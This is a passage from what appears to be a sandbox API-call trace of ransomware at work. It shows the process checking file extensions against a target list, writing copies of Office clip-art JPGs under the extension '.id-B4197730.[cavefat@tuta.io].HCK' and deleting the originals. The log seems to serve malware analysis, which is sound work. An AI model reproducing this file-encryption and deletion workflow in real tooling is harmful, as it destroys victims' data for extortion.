Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".1cd") returned 4 [0177.986] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".jpg") returned 4 [0177.986] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.986] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.986] lstrlenW (lpString="J0384885.JPG") returned 12 [0177.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.988] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=97145) returned 1 [0177.988] CloseHandle (hObject=0x368) returned 1 [0177.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg")) returned 0x220 [0177.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.004] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.004] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.007] GetLastError () returned 0x0 [0178.007] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x17b79, lpOverlapped=0x0) returned 1 [0178.011] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x17b80, lpOverlapped=0x0) returned 1 [0178.013] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.013] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.013] SetEndOfFile (hFile=0x370) returned 1 [0178.015] CloseHandle (hObject=0x370) returned 1 [0178.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.016] SetEndOfFile (hFile=0x368) returned 1 [0178.018] CloseHandle (hObject=0x368) returned 1 [0178.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg")) returned 1 [0178.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.019] lstrlenW (lpString=".doc") returned 4 [0178.019] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.019] lstrlenW (lpString=".docx") returned 5 [0178.019] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.019] lstrlenW (lpString=".pdf") returned 4 [0178.019] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.019] lstrlenW (lpString=".xls") returned 4 [0178.019] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.019] lstrlenW (lpString=".xlsx") returned 5 [0178.019] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.019] lstrlenW (lpString=".ppt") returned 4 [0178.019] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.019] lstrlenW (lpString=".zip") returned 4 [0178.019] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.019] lstrlenW (lpString=".rar") returned 4 [0178.019] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.019] lstrlenW (lpString=".bz2") returned 4 [0178.019] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.019] lstrlenW (lpString=".7z") returned 3 [0178.020] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".dbf") returned 4 [0178.020] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".1cd") returned 4 [0178.020] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".jpg") returned 4 [0178.020] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".doc") returned 4 [0178.020] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString=".docx") returned 5 [0178.020] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.020] lstrlenW (lpString=".pdf") returned 4 [0178.020] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.020] lstrlenW (lpString=".xls") returned 4 [0178.020] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.020] lstrlenW (lpString=".xlsx") returned 5 [0178.020] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.020] lstrlenW (lpString=".ppt") returned 4 [0178.020] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".zip") returned 4 [0178.020] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.020] lstrlenW (lpString=".rar") returned 4 [0178.020] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.020] lstrlenW (lpString=".bz2") returned 4 [0178.020] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString=".7z") returned 3 [0178.020] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".dbf") returned 4 [0178.020] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".1cd") returned 4 [0178.020] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0178.020] lstrlenW (lpString=".jpg") returned 4 [0178.020] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.021] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.021] lstrlenW (lpString="J0386120.JPG") returned 12 [0178.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.025] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30842) returned 1 [0178.025] CloseHandle (hObject=0x39c) returned 1 [0178.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg")) returned 0x220 [0178.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.037] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.037] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.042] GetLastError () returned 0x0 [0178.042] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x787a, lpOverlapped=0x0) returned 1 [0178.044] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7880, lpOverlapped=0x0) returned 1 [0178.045] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.045] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.045] SetEndOfFile (hFile=0x39c) returned 1 [0178.047] CloseHandle (hObject=0x39c) returned 1 [0178.049] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.049] SetEndOfFile (hFile=0x370) returned 1 [0178.051] CloseHandle (hObject=0x370) returned 1 [0178.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg")) returned 1 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".doc") returned 4 [0178.052] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.052] lstrlenW (lpString=".docx") returned 5 [0178.052] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.052] lstrlenW (lpString=".pdf") returned 4 [0178.052] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.052] lstrlenW (lpString=".xls") returned 4 [0178.052] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.052] lstrlenW (lpString=".xlsx") returned 5 [0178.052] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.052] lstrlenW (lpString=".ppt") returned 4 [0178.052] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".zip") returned 4 [0178.052] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.052] lstrlenW (lpString=".rar") returned 4 [0178.052] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.052] lstrlenW (lpString=".bz2") returned 4 [0178.052] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.052] lstrlenW (lpString=".7z") returned 3 [0178.052] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".dbf") returned 4 [0178.052] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".1cd") returned 4 [0178.052] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".jpg") returned 4 [0178.052] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.052] lstrlenW (lpString=".doc") returned 4 [0178.053] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.053] lstrlenW (lpString=".docx") returned 5 [0178.053] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.053] lstrlenW (lpString=".pdf") returned 4 [0178.053] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.053] lstrlenW (lpString=".xls") returned 4 [0178.053] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.053] lstrlenW (lpString=".xlsx") returned 5 [0178.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.053] lstrlenW (lpString=".ppt") returned 4 [0178.053] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.053] lstrlenW (lpString=".zip") returned 4 [0178.053] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.053] lstrlenW (lpString=".rar") returned 4 [0178.053] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.053] lstrlenW (lpString=".bz2") returned 4 [0178.053] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.053] lstrlenW (lpString=".7z") returned 3 [0178.053] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.053] lstrlenW (lpString=".dbf") returned 4 [0178.053] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.053] lstrlenW (lpString=".1cd") returned 4 [0178.053] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG") returned 68 [0178.053] lstrlenW (lpString=".jpg") returned 4 [0178.053] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.053] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.053] lstrlenW (lpString="J0386764.JPG") returned 12 [0178.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.055] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=26942) returned 1 [0178.055] CloseHandle (hObject=0x368) returned 1 [0178.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg")) returned 0x220 [0178.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.066] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.069] GetLastError () returned 0x0 [0178.069] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x693e, lpOverlapped=0x0) returned 1 [0178.070] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6940, lpOverlapped=0x0) returned 1 [0178.071] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.071] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.071] SetEndOfFile (hFile=0x39c) returned 1 [0178.074] CloseHandle (hObject=0x39c) returned 1 [0178.074] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.074] SetEndOfFile (hFile=0x2fc) returned 1 [0178.077] CloseHandle (hObject=0x2fc) returned 1 [0178.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg")) returned 1 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".doc") returned 4 [0178.079] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.079] lstrlenW (lpString=".docx") returned 5 [0178.079] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0178.079] lstrlenW (lpString=".pdf") returned 4 [0178.079] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".xls") returned 4 [0178.079] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".xlsx") returned 5 [0178.079] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0178.079] lstrlenW (lpString=".ppt") returned 4 [0178.079] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".zip") returned 4 [0178.079] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".rar") returned 4 [0178.079] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".bz2") returned 4 [0178.079] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.079] lstrlenW (lpString=".7z") returned 3 [0178.079] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".dbf") returned 4 [0178.079] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".1cd") returned 4 [0178.079] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".jpg") returned 4 [0178.079] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.079] lstrlenW (lpString=".doc") returned 4 [0178.079] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.079] lstrlenW (lpString=".docx") returned 5 [0178.079] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0178.079] lstrlenW (lpString=".pdf") returned 4 [0178.079] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".xls") returned 4 [0178.079] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.079] lstrlenW (lpString=".xlsx") returned 5 [0178.079] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0178.079] lstrlenW (lpString=".ppt") returned 4 [0178.079] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.080] lstrlenW (lpString=".zip") returned 4 [0178.080] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.080] lstrlenW (lpString=".rar") returned 4 [0178.080] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.080] lstrlenW (lpString=".bz2") returned 4 [0178.080] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.080] lstrlenW (lpString=".7z") returned 3 [0178.080] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.080] lstrlenW (lpString=".dbf") returned 4 [0178.080] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.080] lstrlenW (lpString=".1cd") returned 4 [0178.080] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG") returned 68 [0178.080] lstrlenW (lpString=".jpg") returned 4 [0178.080] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.080] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.080] lstrlenW (lpString="J0387604.JPG") returned 12 [0178.080] CreateFileW (lpFileName="C:\\Program 